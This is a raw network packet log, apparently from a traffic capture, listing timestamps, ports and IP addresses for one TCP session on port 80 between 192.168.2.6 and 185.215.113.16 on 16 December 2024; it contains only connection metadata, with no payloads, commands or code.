Dec 16, 2024 15:02:12.631727934 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.631753922 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.631753922 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.631854057 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.632848024 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.632860899 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.632941961 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.633591890 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.633667946 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.633846045 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.633894920 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.634609938 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.634767056 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.634872913 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.635660887 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.635674000 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.635824919 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.636619091 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.636672974 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.637351036 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.637394905 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.637664080 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.637811899 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.637841940 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.637974024 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.638689995 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.638731003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.638755083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.638797045 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.639704943 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.639802933 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.639914036 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.639982939 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.640866041 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.640944004 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.642020941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.642041922 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.642074108 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.642110109 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.642188072 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.643214941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.643273115 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.643861055 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.643873930 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.643886089 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.643971920 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.643971920 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.644984961 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.645068884 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.645073891 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.645183086 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.645845890 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.645986080 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.646106958 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.646182060 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.646904945 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.646933079 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.646965981 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.647032976 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.647927999 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.647974014 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.648051977 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.648192883 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.649076939 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.649135113 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.649214029 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.649400949 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.649956942 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.650006056 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.650224924 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.650269985 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.651000023 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.651045084 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.651051044 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.651194096 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.651994944 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.652019024 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.652071953 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.652071953 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.653068066 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.653117895 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.653163910 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.653259993 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.654028893 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.654078007 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.654269934 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.654315948 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.655050039 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.655097008 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.655112982 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.655219078 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.656094074 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.656177998 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.656378984 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.656428099 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.657213926 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.657366037 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.658765078 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.658849001 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.658862114 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.658874989 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.658977985 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.659545898 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.659617901 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.659939051 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.659993887 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.660597086 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.660649061 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.660765886 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.661020994 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.661365986 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.661475897 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.661756039 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.661825895 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.662635088 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.662699938 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.662780046 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.662899017 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.663770914 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.663923025 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.664005995 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.664181948 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.664483070 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.664556026 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.664767027 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.664819002 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.665299892 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.665404081 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.666368961 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.666382074 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.666445971 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.666992903 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.667165041 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.667356014 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.667370081 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.667548895 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.668401003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.668479919 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.668519974 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.668668985 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.669413090 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.669565916 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.669970989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.670046091 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.670453072 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.670520067 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.670674086 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.670949936 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.671490908 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.671561956 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.671890974 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.671978951 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.672533989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.672548056 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.672602892 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.673935890 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.674139977 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.811836958 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.811945915 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.811971903 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.811994076 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.812028885 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.812035084 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.812035084 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.812098980 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.813054085 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.813186884 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.813612938 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.813668966 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.814054966 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.814163923 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.814543009 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.814594030 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.815172911 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.815185070 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.815237045 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.815237045 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.816071033 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.816121101 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.816303968 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.816417933 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.817104101 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.817173004 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.818162918 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.818176985 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.818188906 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.818216085 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.818279982 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.819161892 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.819240093 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.820060015 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.820110083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.820251942 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.820266008 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.820303917 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.821274042 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.821286917 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.821413994 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.822305918 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.822381020 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.822386026 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.822427034 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.823348999 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.823363066 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.823415041 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.824304104 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.824351072 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.824856997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.824934006 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.825336933 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.825350046 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.825428963 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.826323032 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.826370001 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.827289104 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.827338934 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.827411890 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.827425003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.827502012 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.828377008 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.828422070 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.828996897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.829241037 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.829432011 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.829444885 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.829477072 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.830427885 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.830555916 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.832042933 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.832056999 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.832068920 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.832144022 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.832144022 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.832715034 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.832762957 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.833359003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.833446980 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.833550930 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.833564043 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.833632946 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.834537983 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.834604979 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.834846973 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.834925890 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.835552931 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.835695982 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.835724115 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.835747957 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.836632013 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.836724043 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.837645054 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.837656021 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.837711096 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.837824106 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.837908030 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.838635921 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.838772058 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.838918924 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.838980913 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.839678049 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.839764118 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.839912891 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.840123892 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.840692997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.840720892 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.840792894 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.841698885 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.841766119 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.842050076 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.842092037 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.842709064 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.842783928 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.843260050 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.843329906 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.843843937 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.843997002 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.844209909 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.844299078 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.844799995 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.844811916 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.844880104 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.844880104 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.845758915 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.845895052 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.846499920 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.846594095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.846906900 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.847028971 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.847932100 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.847944975 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.847991943 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.848009109 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.848128080 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.848871946 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.848922968 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.849178076 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.849355936 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.850023985 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.850071907 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.850106955 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.850136995 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.850939989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.851021051 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.851581097 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.851629019 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.852495909 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.852543116 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.853279114 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.853291988 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.853303909 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.853344917 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.853344917 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.854116917 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.854183912 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.854501963 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.854569912 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.855185986 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.855199099 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.855277061 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.856076002 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.856090069 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.856136084 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.857253075 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.857311964 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.857347012 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.857419968 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.858108997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.858186007 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.858997107 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.859036922 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.859155893 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.859169960 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.859215021 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.859215021 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.860197067 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.860280037 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.860919952 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.860975981 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.861149073 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.861221075 CET	80	49867	185.215.113.16	192.168.2.6
